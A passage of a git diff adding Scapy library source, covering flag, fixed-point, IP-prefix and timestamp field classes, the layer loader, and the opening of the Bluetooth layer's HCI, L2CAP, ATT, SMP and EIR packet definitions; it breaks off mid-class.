+    def copy(self):
+        return self.__class__(self.value, self.names)
+
+
+class FlagsField(BitField):
+    """ Handle Flag type field
+
+   Make sure all your flags have a label
+
+   Example:
+       >>> from scapy.packet import Packet
+       >>> class FlagsTest(Packet):
+               fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])]
+       >>> FlagsTest(flags=9).show2()
+       ###[ FlagsTest ]###
+         flags     = f0+f3
+       >>> FlagsTest(flags=0).show2().strip()
+       ###[ FlagsTest ]###
+         flags     =
+
+   :param name: field's name
+   :param default: default value for the field
+   :param size: number of bits in the field
+   :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first
+   """
+    ismutable = True
+    __slots__ = ["multi", "names"]
+
+    def __init__(self, name, default, size, names):
+        self.multi = isinstance(names, list)
+        self.names = names
+        BitField.__init__(self, name, default, size)
+
+    def _fixup_val(self, x):
+        """Returns a FlagValue instance when needed. Internal method, to be
+used in *2i() and i2*() methods.
+
+        """
+        if isinstance(x, (list, tuple)):
+            return type(x)(
+                v if v is None or isinstance(v, FlagValue)
+                else FlagValue(v, self.names)
+                for v in x
+            )
+        return x if x is None or isinstance(x, FlagValue) else FlagValue(x, self.names)
+
+    def any2i(self, pkt, x):
+        return self._fixup_val(super(FlagsField, self).any2i(pkt, x))
+
+    def m2i(self, pkt, x):
+        return self._fixup_val(super(FlagsField, self).m2i(pkt, x))
+
+    def i2h(self, pkt, x):
+        return self._fixup_val(super(FlagsField, self).i2h(pkt, x))
+
+    def i2repr(self, pkt, x):
+        if isinstance(x, (list, tuple)):
+            return repr(type(x)(
+                None if v is None else str(self._fixup_val(v)) for v in x
+            ))
+        return None if x is None else str(self._fixup_val(x))
+
+
+MultiFlagsEntry = collections.namedtuple('MultiFlagEntry', ['short', 'long'])
+
+
+class MultiFlagsField(BitField):
+    __slots__ = FlagsField.__slots__ + ["depends_on"]
+
+    def __init__(self, name, default, size, names, depends_on):
+        self.names = names
+        self.depends_on = depends_on
+        super(MultiFlagsField, self).__init__(name, default, size)
+
+    def any2i(self, pkt, x):
+        assert isinstance(x, six.integer_types + (set,)), 'set expected'
+
+        if pkt is not None:
+            if isinstance(x, six.integer_types):
+                x = self.m2i(pkt, x)
+            else:
+                v = self.depends_on(pkt)
+                if v is not None:
+                    assert v in self.names, 'invalid dependency'
+                    these_names = self.names[v]
+                    s = set()
+                    for i in x:
+                        for val in six.itervalues(these_names):
+                            if val.short == i:
+                                s.add(i)
+                                break
+                        else:
+                            assert False, 'Unknown flag "{}" with this dependency'.format(i)
+                            continue
+                    x = s
+        return x
+
+    def i2m(self, pkt, x):
+        v = self.depends_on(pkt)
+        if v in self.names:
+            these_names = self.names[v]
+        else:
+            these_names = {}
+
+        r = 0
+        for flag_set in x:
+            for i, val in six.iteritems(these_names):
+                if val.short == flag_set:
+                    r |= 1 << i
+                    break
+            else:
+                r |= 1 << int(flag_set[len('bit '):])
+        return r
+
+    def m2i(self, pkt, x):
+        v = self.depends_on(pkt)
+        if v in self.names:
+            these_names = self.names[v]
+        else:
+            these_names = {}
+
+        r = set()
+        i = 0
+
+        while x:
+            if x & 1:
+                if i in these_names:
+                    r.add(these_names[i].short)
+                else:
+                    r.add('bit {}'.format(i))
+            x >>= 1
+            i += 1
+        return r
+
+    def i2repr(self, pkt, x):
+        v = self.depends_on(pkt)
+        if v in self.names:
+            these_names = self.names[v]
+        else:
+            these_names = {}
+
+        r = set()
+        for flag_set in x:
+            for i in six.itervalues(these_names):
+                if i.short == flag_set:
+                    r.add("{} ({})".format(i.long, i.short))
+                    break
+            else:
+                r.add(flag_set)
+        return repr(r)
+
+
+class FixedPointField(BitField):
+    __slots__ = ['frac_bits']
+    def __init__(self, name, default, size, frac_bits=16):
+        self.frac_bits = frac_bits
+        BitField.__init__(self, name, default, size)
+
+    def any2i(self, pkt, val):
+        if val is None:
+            return val
+        ival = int(val)
+        fract = int( (val-ival) * 2**self.frac_bits )
+        return (ival << self.frac_bits) | fract
+
+    def i2h(self, pkt, val):
+        int_part = val >> self.frac_bits
+        frac_part = val & (1 << self.frac_bits) - 1
+        frac_part /= 2.0**self.frac_bits
+        return int_part+frac_part
+    def i2repr(self, pkt, val):
+        return self.i2h(pkt, val)
+
+
+# Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field.
+# Machine values are encoded in a multiple of wordbytes bytes.
+class _IPPrefixFieldBase(Field):
+    __slots__ = ["wordbytes", "maxbytes", "aton", "ntoa", "length_from"]
+    def __init__(self, name, default, wordbytes, maxbytes, aton, ntoa, length_from):
+        self.wordbytes = wordbytes
+        self.maxbytes = maxbytes
+        self.aton = aton
+        self.ntoa = ntoa
+        Field.__init__(self, name, default, "%is" % self.maxbytes)
+        self.length_from = length_from
+
+    def _numbytes(self, pfxlen):
+        wbits= self.wordbytes * 8
+        return ((pfxlen + (wbits - 1)) // wbits) * self.wordbytes
+
+    def h2i(self, pkt, x):
+        # "fc00:1::1/64" -> ("fc00:1::1", 64)
+        [pfx,pfxlen]= x.split('/')
+        self.aton(pfx) # check for validity
+        return (pfx, int(pfxlen))
+
+
+    def i2h(self, pkt, x):
+        # ("fc00:1::1", 64) -> "fc00:1::1/64"
+        (pfx,pfxlen)= x
+        return "%s/%i" % (pfx,pfxlen)
+
+    def i2m(self, pkt, x):
+        # ("fc00:1::1", 64) -> (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64)
+        (pfx,pfxlen)= x
+        s= self.aton(pfx);
+        return (s[:self._numbytes(pfxlen)], pfxlen)
+
+    def m2i(self, pkt, x):
+        # (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) -> ("fc00:1::1", 64)
+        (s,pfxlen)= x
+
+        if len(s) < self.maxbytes:
+            s= s + (b"\0" * (self.maxbytes - len(s)))
+        return (self.ntoa(s), pfxlen)
+
+    def any2i(self, pkt, x):
+        if x is None:
+            return (self.ntoa(b"\0"*self.maxbytes), 1)
+
+        return self.h2i(pkt,x)
+
+    def i2len(self, pkt, x):
+        (_,pfxlen)= x
+        return pfxlen
+
+    def addfield(self, pkt, s, val):
+        (rawpfx,pfxlen)= self.i2m(pkt,val)
+        fmt= "!%is" % self._numbytes(pfxlen)
+        return s+struct.pack(fmt, rawpfx)
+
+    def getfield(self, pkt, s):
+        pfxlen= self.length_from(pkt)
+        numbytes= self._numbytes(pfxlen)
+        fmt= "!%is" % numbytes
+        return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen))
+
+
+class IPPrefixField(_IPPrefixFieldBase):
+    def __init__(self, name, default, wordbytes=1, length_from= None):
+        _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 4, inet_aton, inet_ntoa, length_from)
+
+
+class IP6PrefixField(_IPPrefixFieldBase):
+    def __init__(self, name, default, wordbytes= 1, length_from= None):
+        _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 16, lambda a: inet_pton(socket.AF_INET6, a), lambda n: inet_ntop(socket.AF_INET6, n), length_from)
+
+class UTCTimeField(IntField):
+    __slots__ = ["epoch", "delta", "strf", "use_nano"]
+    def __init__(self, name, default, epoch=None, use_nano=False, strf="%a, %d %b %Y %H:%M:%S +0000"):
+        IntField.__init__(self, name, default)
+        if epoch is None:
+            mk_epoch = EPOCH
+        else:
+            mk_epoch = time.mktime(epoch)
+        self.epoch = mk_epoch
+        self.delta = mk_epoch - EPOCH
+        self.strf = strf
+        self.use_nano = use_nano
+    def i2repr(self, pkt, x):
+        if x is None:
+            x = 0
+        elif self.use_nano:
+            x = x/1e9
+        x = int(x) + self.delta
+        t = time.strftime(self.strf, time.gmtime(x))
+        return "%s (%d)" % (t, x)
+    def i2m(self, pkt, x):
+        return int(x) if x != None else 0
diff --git a/scapy/layers/__init__.py b/scapy/layers/__init__.py
new file mode 100644
index 0000000..a3f2afb
--- /dev/null
+++ b/scapy/layers/__init__.py
@@ -0,0 +1,8 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Layer package.
+"""
diff --git a/scapy/layers/all.py b/scapy/layers/all.py
new file mode 100644
index 0000000..8743276
--- /dev/null
+++ b/scapy/layers/all.py
@@ -0,0 +1,28 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+All layers. Configurable with conf.load_layers.
+"""
+
+from __future__ import absolute_import
+from scapy.config import conf
+from scapy.error import log_loading
+from scapy.main import load_layer
+import logging, importlib
+import scapy.modules.six as six
+ignored = list(six.moves.builtins.__dict__) + ["sys"]
+log = logging.getLogger("scapy.loading")
+
+__all__ = []
+
+for _l in conf.load_layers:
+    log_loading.debug("Loading layer %s" % _l)
+    try:
+        load_layer(_l, globals_dict=globals(), symb_list=__all__)
+    except Exception as e:
+        log.warning("can't import layer %s: %s", _l, e)
+
+del _l
diff --git a/scapy/layers/bluetooth.py b/scapy/layers/bluetooth.py
new file mode 100644
index 0000000..41b3f50
--- /dev/null
+++ b/scapy/layers/bluetooth.py
@@ -0,0 +1,943 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Copyright (C) Mike Ryan <mikeryan@lacklustre.net>
+## This program is published under a GPLv2 license
+
+"""
+Bluetooth layers, sockets and send/receive functions.
+"""
+
+import socket,struct,array
+from ctypes import *
+from select import select
+
+from scapy.config import conf
+from scapy.data import DLT_BLUETOOTH_HCI_H4
+from scapy.packet import *
+from scapy.fields import *
+from scapy.supersocket import SuperSocket
+from scapy.sendrecv import sndrcv
+from scapy.data import MTU
+from scapy.consts import WINDOWS
+from scapy.error import warning, log_loading
+
+
+##########
+# Fields #
+##########
+
+class XLEShortField(LEShortField):
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+class XLELongField(LEShortField):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "<Q")
+    def i2repr(self, pkt, x):
+        return lhex(self.i2h(pkt, x))
+
+
+class LEMACField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "6s")
+    def i2m(self, pkt, x):
+        if x is None:
+            return b"\0\0\0\0\0\0"
+        return mac2str(x)[::-1]
+    def m2i(self, pkt, x):
+        return str2mac(x[::-1])
+    def any2i(self, pkt, x):
+        if isinstance(x, str) and len(x) is 6:
+            x = self.m2i(pkt, x)
+        return x
+    def i2repr(self, pkt, x):
+        x = self.i2h(pkt, x)
+        if self in conf.resolve:
+            x = conf.manufdb._resolve_MAC(x)
+        return x
+    def randval(self):
+        return RandMAC()
+
+_bluetooth_packet_types = {
+        0: "Acknowledgement",
+        1: "Command",
+        2: "ACL Data",
+        3: "Synchronous",
+        4: "Event",
+        5: "Reserve",
+        14: "Vendor",
+        15: "Link Control"
+    }
+
+class HCI_Hdr(Packet):
+    name = "HCI header"
+    fields_desc = [ ByteEnumField("type", 2, _bluetooth_packet_types) ]
+
+    def mysummary(self):
+        return self.sprintf("HCI %type%")
+
+class HCI_ACL_Hdr(Packet):
+    name = "HCI ACL header"
+    fields_desc = [ BitField("handle",0,12),    # TODO: Create and use LEBitField
+                    BitField("PB",0,2),      # They are recieved as a **combined** LE Short
+                    BitField("BC",0,2),      # Handle is 12 bits, eacg flag is 2 bits.
+                    LEShortField("len",None), ]
+
+    def pre_dissect(self, s):
+        # Recieve data as LE stored as
+        # .... 1111 0100 1100 = handle
+        # 1010 .... .... .... = flags
+        # And turn it into
+        # 1111 0100 1100 .... = handle
+        # .... .... .... 1010 = flags
+        hf = socket.ntohs(struct.unpack("!H", s[:2])[0])
+        r = ((hf & 0x0fff) << 4) + (hf >> 12)
+        return struct.pack("!H", r) + s[2:]
+
+    def post_dissect(self, s):
+        self.raw_packet_cache = None # Reset packet to allow post_build
+        return s
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            p = p[:2] + struct.pack("<H", len(pay)) + p[4:]
+        # Reverse, opposite of pre_dissect
+        hf = struct.unpack("!H", p[:2])[0]
+        r = socket.ntohs(((hf & 0xf) << 12) + (hf >> 4))
+        return struct.pack("!H", r) + p[2:]
+
+
+class L2CAP_Hdr(Packet):
+    name = "L2CAP header"
+    fields_desc = [ LEShortField("len",None),
+            LEShortEnumField("cid",0,{1:"control", 4:"attribute"}),]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            p = struct.pack("<H", len(pay)) + p[2:]
+        return p
+
+
+
+class L2CAP_CmdHdr(Packet):
+    name = "L2CAP command header"
+    fields_desc = [
+        ByteEnumField("code",8,{1:"rej",2:"conn_req",3:"conn_resp",
+                                4:"conf_req",5:"conf_resp",6:"disconn_req",
+                                7:"disconn_resp",8:"echo_req",9:"echo_resp",
+                                10:"info_req",11:"info_resp", 18:"conn_param_update_req",
+                                19:"conn_param_update_resp"}),
+        ByteField("id",0),
+        LEShortField("len",None) ]
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            p = p[:2] + struct.pack("<H", len(pay)) + p[4:]
+        return p
+    def answers(self, other):
+        if other.id == self.id:
+            if self.code == 1:
+                return 1
+            if other.code in [2,4,6,8,10,18] and self.code == other.code+1:
+                if other.code == 8:
+                    return 1
+                return self.payload.answers(other.payload)
+        return 0
+
+class L2CAP_ConnReq(Packet):
+    name = "L2CAP Conn Req"
+    fields_desc = [ LEShortEnumField("psm",0,{1:"SDP",3:"RFCOMM",5:"telephony control"}),
+                    LEShortField("scid",0),
+                    ]
+
+class L2CAP_ConnResp(Packet):
+    name = "L2CAP Conn Resp"
+    fields_desc = [ LEShortField("dcid",0),
+                    LEShortField("scid",0),
+                    LEShortEnumField("result",0,["success", "pend", "cr_bad_psm", "cr_sec_block", "cr_no_mem", "reserved","cr_inval_scid", "cr_scid_in_use"]),
+                    LEShortEnumField("status",0,["no_info", "authen_pend", "author_pend", "reserved"]),
+                    ]
+    def answers(self, other):
+        return isinstance(other, L2CAP_ConnReq) and self.dcid == other.scid
+
+class L2CAP_CmdRej(Packet):
+    name = "L2CAP Command Rej"
+    fields_desc = [ LEShortField("reason",0),
+                    ]
+
+
+class L2CAP_ConfReq(Packet):
+    name = "L2CAP Conf Req"
+    fields_desc = [ LEShortField("dcid",0),
+                    LEShortField("flags",0),
+                    ]
+
+class L2CAP_ConfResp(Packet):
+    name = "L2CAP Conf Resp"
+    fields_desc = [ LEShortField("scid",0),
+                    LEShortField("flags",0),
+                    LEShortEnumField("result",0,["success","unaccept","reject","unknown"]),
+                    ]
+    def answers(self, other):
+        return isinstance(other, L2CAP_ConfReq) and self.scid == other.dcid
+
+
+class L2CAP_DisconnReq(Packet):
+    name = "L2CAP Disconn Req"
+    fields_desc = [ LEShortField("dcid",0),
+                    LEShortField("scid",0), ]
+
+class L2CAP_DisconnResp(Packet):
+    name = "L2CAP Disconn Resp"
+    fields_desc = [ LEShortField("dcid",0),
+                    LEShortField("scid",0), ]
+    def answers(self, other):
+        return self.scid == other.scid
+
+
+
+class L2CAP_InfoReq(Packet):
+    name = "L2CAP Info Req"
+    fields_desc = [ LEShortEnumField("type",0,{1:"CL_MTU",2:"FEAT_MASK"}),
+                    StrField("data","")
+                    ]
+
+
+class L2CAP_InfoResp(Packet):
+    name = "L2CAP Info Resp"
+    fields_desc = [ LEShortField("type",0),
+                    LEShortEnumField("result",0,["success","not_supp"]),
+                    StrField("data",""), ]
+    def answers(self, other):
+        return self.type == other.type
+
+    
+class L2CAP_Connection_Parameter_Update_Request(Packet):
+    name = "L2CAP Connection Parameter Update Request"
+    fields_desc = [ LEShortField("min_interval", 0),
+                    LEShortField("max_interval", 0),
+                    LEShortField("slave_latency", 0),
+                    LEShortField("timeout_mult", 0), ]
+
+    
+class L2CAP_Connection_Parameter_Update_Response(Packet):
+    name = "L2CAP Connection Parameter Update Response"
+    fields_desc = [ LEShortField("move_result", 0), ]
+
+
+class ATT_Hdr(Packet):
+    name = "ATT header"
+    fields_desc = [ XByteField("opcode", None), ]
+
+
+class ATT_Error_Response(Packet):
+    name = "Error Response"
+    fields_desc = [ XByteField("request", 0),
+                    LEShortField("handle", 0),
+                    XByteField("ecode", 0), ]
+
+class ATT_Exchange_MTU_Request(Packet):
+    name = "Exchange MTU Request"
+    fields_desc = [ LEShortField("mtu", 0), ]
+
+class ATT_Exchange_MTU_Response(Packet):
+    name = "Exchange MTU Response"
+    fields_desc = [ LEShortField("mtu", 0), ]
+
+class ATT_Find_Information_Request(Packet):
+    name = "Find Information Request"
+    fields_desc = [ XLEShortField("start", 0x0000),
+                    XLEShortField("end", 0xffff), ]
+
+class ATT_Find_Information_Response(Packet):
+    name = "Find Information Reponse"
+    fields_desc = [ XByteField("format", 1),
+                    StrField("data", "") ]
+
+class ATT_Find_By_Type_Value_Request(Packet):
+    name = "Find By Type Value Request"
+    fields_desc = [ XLEShortField("start", 0x0001),
+                    XLEShortField("end", 0xffff),
+                    XLEShortField("uuid", None),
+                    StrField("data", ""), ]
+
+class ATT_Find_By_Type_Value_Response(Packet):
+    name = "Find By Type Value Response"
+    fields_desc = [ StrField("handles", ""), ]
+
+class ATT_Read_By_Type_Request_128bit(Packet):
+    name = "Read By Type Request"
+    fields_desc = [ XLEShortField("start", 0x0001),
+                    XLEShortField("end", 0xffff),
+                    XLELongField("uuid1", None),
+                    XLELongField("uuid2", None)]
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) == 6:
+            return ATT_Read_By_Type_Request
+        return ATT_Read_By_Type_Request_128bit
+
+class ATT_Read_By_Type_Request(Packet):
+    name = "Read By Type Request"
+    fields_desc = [ XLEShortField("start", 0x0001),
+                    XLEShortField("end", 0xffff),
+                    XLEShortField("uuid", None)]
+
+class ATT_Read_By_Type_Response(Packet):
+    name = "Read By Type Response"
+    # fields_desc = [ FieldLenField("len", None, length_of="data", fmt="B"),
+    #                 StrLenField("data", "", length_from=lambda pkt:pkt.len), ]
+    fields_desc = [ StrField("data", "") ]
+
+class ATT_Read_Request(Packet):
+    name = "Read Request"
+    fields_desc = [ XLEShortField("gatt_handle", 0), ]
+
+class ATT_Read_Response(Packet):
+    name = "Read Response"
+    fields_desc = [ StrField("value", ""), ]
+
+class ATT_Read_By_Group_Type_Request(Packet):
+    name = "Read By Group Type Request"
+    fields_desc = [ XLEShortField("start", 0),
+                    XLEShortField("end", 0xffff),
+                    XLEShortField("uuid", 0), ]
+
+class ATT_Read_By_Group_Type_Response(Packet):
+    name = "Read By Group Type Response"
+    fields_desc = [ XByteField("length", 0),
+                    StrField("data", ""), ]
+
+class ATT_Write_Request(Packet):
+    name = "Write Request"
+    fields_desc = [ XLEShortField("gatt_handle", 0),
+                    StrField("data", ""), ]
+
+class ATT_Write_Command(Packet):
+    name = "Write Request"
+    fields_desc = [ XLEShortField("gatt_handle", 0),
+                    StrField("data", ""), ]
+
+class ATT_Write_Response(Packet):
+    name = "Write Response"
+    fields_desc = [ ]
+
+class ATT_Handle_Value_Notification(Packet):
+    name = "Handle Value Notification"
+    fields_desc = [ XLEShortField("handle", 0),
+                    StrField("value", ""), ]
+
+
+class SM_Hdr(Packet):
+    name = "SM header"
+    fields_desc = [ ByteField("sm_command", None) ]
+
+
+class SM_Pairing_Request(Packet):
+    name = "Pairing Request"
+    fields_desc = [ ByteEnumField("iocap", 3, {0:"DisplayOnly", 1:"DisplayYesNo", 2:"KeyboardOnly", 3:"NoInputNoOutput", 4:"KeyboardDisplay"}),
+                    ByteEnumField("oob", 0, {0:"Not Present", 1:"Present (from remote device)"}),
+                    BitField("authentication", 0, 8),
+                    ByteField("max_key_size", 16),
+                    ByteField("initiator_key_distribution", 0),
+                    ByteField("responder_key_distribution", 0), ]
+
+class SM_Pairing_Response(Packet):
+    name = "Pairing Response"
+    fields_desc = [ ByteEnumField("iocap", 3, {0:"DisplayOnly", 1:"DisplayYesNo", 2:"KeyboardOnly", 3:"NoInputNoOutput", 4:"KeyboardDisplay"}),
+                    ByteEnumField("oob", 0, {0:"Not Present", 1:"Present (from remote device)"}),
+                    BitField("authentication", 0, 8),
+                    ByteField("max_key_size", 16),
+                    ByteField("initiator_key_distribution", 0),
+                    ByteField("responder_key_distribution", 0), ]
+
+
+class SM_Confirm(Packet):
+    name = "Pairing Confirm"
+    fields_desc = [ StrFixedLenField("confirm", b'\x00' * 16, 16) ]
+
+class SM_Random(Packet):
+    name = "Pairing Random"
+    fields_desc = [ StrFixedLenField("random", b'\x00' * 16, 16) ]
+
+class SM_Failed(Packet):
+    name = "Pairing Failed"
+    fields_desc = [ XByteField("reason", 0) ]
+
+class SM_Encryption_Information(Packet):
+    name = "Encryption Information"
+    fields_desc = [ StrFixedLenField("ltk", b"\x00" * 16, 16), ]
+
+class SM_Master_Identification(Packet):
+    name = "Master Identification"
+    fields_desc = [ XLEShortField("ediv", 0),
+                    StrFixedLenField("rand", b'\x00' * 8, 8), ]
+    
+class SM_Identity_Information(Packet):
+    name = "Identity Information"
+    fields_desc = [ StrFixedLenField("irk", b'\x00' * 16, 16), ]
+
+class SM_Identity_Address_Information(Packet):
+    name = "Identity Address Information"
+    fields_desc = [ ByteEnumField("atype", 0, {0:"public"}),
+                    LEMACField("address", None), ]
+    
+class SM_Signing_Information(Packet):
+    name = "Signing Information"
+    fields_desc = [ StrFixedLenField("csrk", b'\x00' * 16, 16), ]
+
+
+class EIR_Hdr(Packet):
+    name = "EIR Header"
+    fields_desc = [
+        LenField("len", None, fmt="B", adjust=lambda x: x+1), # Add bytes mark
+        ByteEnumField("type", 0, {
+            0x01: "flags",
+            0x02: "incomplete_list_16_bit_svc_uuids",
+            0x03: "complete_list_16_bit_svc_uuids",
+            0x04: "incomplete_list_32_bit_svc_uuids",
+            0x05: "complete_list_32_bit_svc_uuids",
+            0x06: "incomplete_list_128_bit_svc_uuids",
+            0x07: "complete_list_128_bit_svc_uuids",
+            0x08: "shortened_local_name",
+            0x09: "complete_local_name",
+            0x0a: "tx_power_level",
+            0x0d: "class_of_device",
+            0x0e: "simple_pairing_hash",
+            0x0f: "simple_pairing_rand",
+            0x10: "sec_mgr_tk",
+            0x11: "sec_mgr_oob_flags",
+            0x12: "slave_conn_intvl_range",
+            0x17: "pub_target_addr",
+            0x18: "rand_target_addr",
+            0x19: "appearance",
+            0x1a: "adv_intvl",
+            0x1b: "le_addr",
+            0x1c: "le_role",
+            0x14: "list_16_bit_svc_sollication_uuids",
+            0x1f: "list_32_bit_svc_sollication_uuids",
+            0x15: "list_128_bit_svc_sollication_uuids",
+            0x16: "svc_data_16_bit_uuid",
+            0x20: "svc_data_32_bit_uuid",
+            0x21: "svc_data_128_bit_uuid",
+            0x22: "sec_conn_confirm",
+            0x22: "sec_conn_rand",
+            0x24: "uri",
+            0xff: "mfg_specific_data",
+        }),
+    ]
+
+    def mysummary(self):
+        return self.sprintf("EIR %type%")
+
+class EIR_Element(Packet):
+    name = "EIR Element"
+
+    def extract_padding(self, s):
+        # Needed to end each EIR_Element packet and make PacketListField work.
+        return '', s
+
+    @staticmethod
+    def length_from(pkt):
+        if not pkt.underlayer:
+            warning("Missing an upper-layer")
+            return 0
+        # 'type' byte is included in the length, so substract 1:
+        return pkt.underlayer.len - 1
+
+class EIR_Raw(EIR_Element):
+    name = "EIR Raw"
+    fields_desc = [
+        StrLenField("data", "", length_from=EIR_Element.length_from)
+    ]
+
+class EIR_Flags(EIR_Element):
+    name = "Flags"
+    fields_desc = [
+        FlagsField("flags", 0x2, 8,
+                   ["limited_disc_mode", "general_disc_mode",
+                    "br_edr_not_supported", "simul_le_br_edr_ctrl",
+                    "simul_le_br_edr_host"] + 3*["reserved"])
+    ]
+
+class EIR_CompleteList16BitServiceUUIDs(EIR_Element):
+    name = "Complete list of 16-bit service UUIDs"
+    fields_desc = [
+        FieldListField("svc_uuids", None, XLEShortField("uuid", 0),
+                       length_from=EIR_Element.length_from)
+    ]
+
+class EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs):
+    name = "Incomplete list of 16-bit service UUIDs"
+
+class EIR_CompleteLocalName(EIR_Element):
+    name = "Complete Local Name"
+    fields_desc = [
+        StrLenField("local_name", "", length_from=EIR_Element.length_from)
+    ]
+
+class EIR_ShortenedLocalName(EIR_CompleteLocalName):
+    name = "Shortened Local Name"
+
+class EIR_TX_Power_Level(EIR_Element):
+    name = "TX Power Level"
+    fields_desc = [SignedByteField("level", 0)]
+
+class EIR_Manufacturer_Specific_Data(EIR_Element):
+    name = "EIR Manufacturer Specific Data"
+    fields_desc = [
+        XLEShortField("company_id", 0),
+        StrLenField("data", "",
+                    length_from=lambda pkt: EIR_Element.length_from(pkt) - 2)
+    ]
+
+
+class HCI_Command_Hdr(Packet):
+    name = "HCI Command header"
+    fields_desc = [ XLEShortField("opcode", 0),
+                    ByteField("len", None), ]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.len is None:
+            p = p[:2] + struct.pack("B", len(pay)) + p[3:]
+        return p
+
+class HCI_Cmd_Reset(Packet):
+    name = "Reset"
+
+class HCI_Cmd_Set_Event_Filter(Packet):
+    name = "Set Event Filter"
+    fields_desc = [ ByteEnumField("type", 0, {0:"clear"}), ]
+
+class HCI_Cmd_Connect_Accept_Timeout(Packet):
+    name = "Connection Attempt Timeout"
+    fields_desc = [ LEShortField("timeout", 32000) ] # 32000 slots is 20000 msec
+
+class HCI_Cmd_LE_Host_Supported(Packet):
+    name = "LE Host Supported"
+    fields_desc = [ ByteField("supported", 1),
+                    ByteField("simultaneous", 1), ]
+
+class HCI_Cmd_Set_Event_Mask(Packet):
+    name = "Set Event Mask"
+    fields_desc = [ StrFixedLenField("mask", b"\xff\xff\xfb\xff\x07\xf8\xbf\x3d", 8) ]
+
+class HCI_Cmd_Read_BD_Addr(Packet):
+    name = "Read BD Addr"
+
+
+class HCI_Cmd_LE_Set_Scan_Parameters(Packet):
+    name = "LE Set Scan Parameters"
+    fields_desc = [ ByteEnumField("type", 1, {1:"active"}),
+                    XLEShortField("interval", 16),
+                    XLEShortField("window", 16),
+                    ByteEnumField("atype", 0, {0:"public"}),
+                    ByteEnumField("policy", 0, {0:"all"}), ]
+
+class HCI_Cmd_LE_Set_Scan_Enable(Packet):
+    name = "LE Set Scan Enable"
+    fields_desc = [ ByteField("enable", 1),
+                    ByteField("filter_dups", 1), ]
+
+class HCI_Cmd_Disconnect(Packet):
+    name = "Disconnect"
+    fields_desc = [ XLEShortField("handle", 0),
+                    ByteField("reason", 0x13), ]
+
+class HCI_Cmd_LE_Create_Connection(Packet):
+    name = "LE Create Connection"
+    fields_desc = [ LEShortField("interval", 96),
+                    LEShortField("window", 48),
+                    ByteEnumField("filter", 0, {0:"address"}),
+                    ByteEnumField("patype", 0, {0:"public", 1:"random"}),
+                    LEMACField("paddr", None),
+                    ByteEnumField("atype", 0, {0:"public", 1:"random"}),
+                    LEShortField("min_interval", 40),
+                    LEShortField("max_interval", 56),
+                    LEShortField("latency", 0),
+                    LEShortField("timeout", 42),
+                    LEShortField("min_ce", 0),
+                    LEShortField("max_ce", 0), ]
+    
+class HCI_Cmd_LE_Create_Connection_Cancel(Packet):
+    name = "LE Create Connection Cancel"
+
+class HCI_Cmd_LE_Connection_Update(Packet):
+    name = "LE Connection Update"
+    fields_desc = [ XLEShortField("handle", 0),
+                    XLEShortField("min_interval", 0),
+                    XLEShortField("max_interval", 0),
+                    XLEShortField("latency", 0),
+                    XLEShortField("timeout", 0),
+                    LEShortField("min_ce", 0),
+                    LEShortField("max_ce", 0xffff), ]
+
+class HCI_Cmd_LE_Read_Buffer_Size(Packet):
+    name = "LE Read Buffer Size"
+
+class HCI_Cmd_LE_Set_Random_Address(Packet):
+    name = "LE Set Random Address"
+    fields_desc = [ LEMACField("address", None) ]
+
+class HCI_Cmd_LE_Set_Advertising_Parameters(Packet):
+    name = "LE Set Advertising Parameters"
+    fields_desc = [ LEShortField("interval_min", 0x0800),
+                    LEShortField("interval_max", 0x0800),
+                    ByteEnumField("adv_type", 0, {0:"ADV_IND", 1:"ADV_DIRECT_IND", 2:"ADV_SCAN_IND", 3:"ADV_NONCONN_IND", 4:"ADV_DIRECT_IND_LOW"}),
+                    ByteEnumField("oatype", 0, {0:"public", 1:"random"}),
+                    ByteEnumField("datype", 0, {0:"public", 1:"random"}),
+                    LEMACField("daddr", None),
+                    ByteField("channel_map", 7),
+                    ByteEnumField("filter_policy", 0, {0:"all:all", 1:"connect:all scan:whitelist", 2:"connect:whitelist scan:all", 3:"all:whitelist"}), ]
+
+class HCI_Cmd_LE_Set_Advertising_Data(Packet):
+    name = "LE Set Advertising Data"
+    fields_desc = [ FieldLenField("len", None, length_of="data", fmt="B"),
+                    StrLenField("data", "", length_from=lambda pkt:pkt.len), ]
+
+class HCI_Cmd_LE_Set_Advertise_Enable(Packet):
+    name = "LE Set Advertise Enable"
+    fields_desc = [ ByteField("enable", 0) ]
+
+class HCI_Cmd_LE_Start_Encryption_Request(Packet):
+    name = "LE Start Encryption"
+    fields_desc = [ LEShortField("handle", 0),
+                    StrFixedLenField("rand", None, 8),
+                    XLEShortField("ediv", 0),
+                    StrFixedLenField("ltk", b'\x00' * 16, 16), ]
+
+class HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(Packet):
+    name = "LE Long Term Key Request Negative Reply"
+    fields_desc = [ LEShortField("handle", 0), ]
+
+class HCI_Cmd_LE_Long_Term_Key_Request_Reply(Packet):
+    name = "LE Long Term Key Request Reply"
+    fields_desc = [ LEShortField("handle", 0),
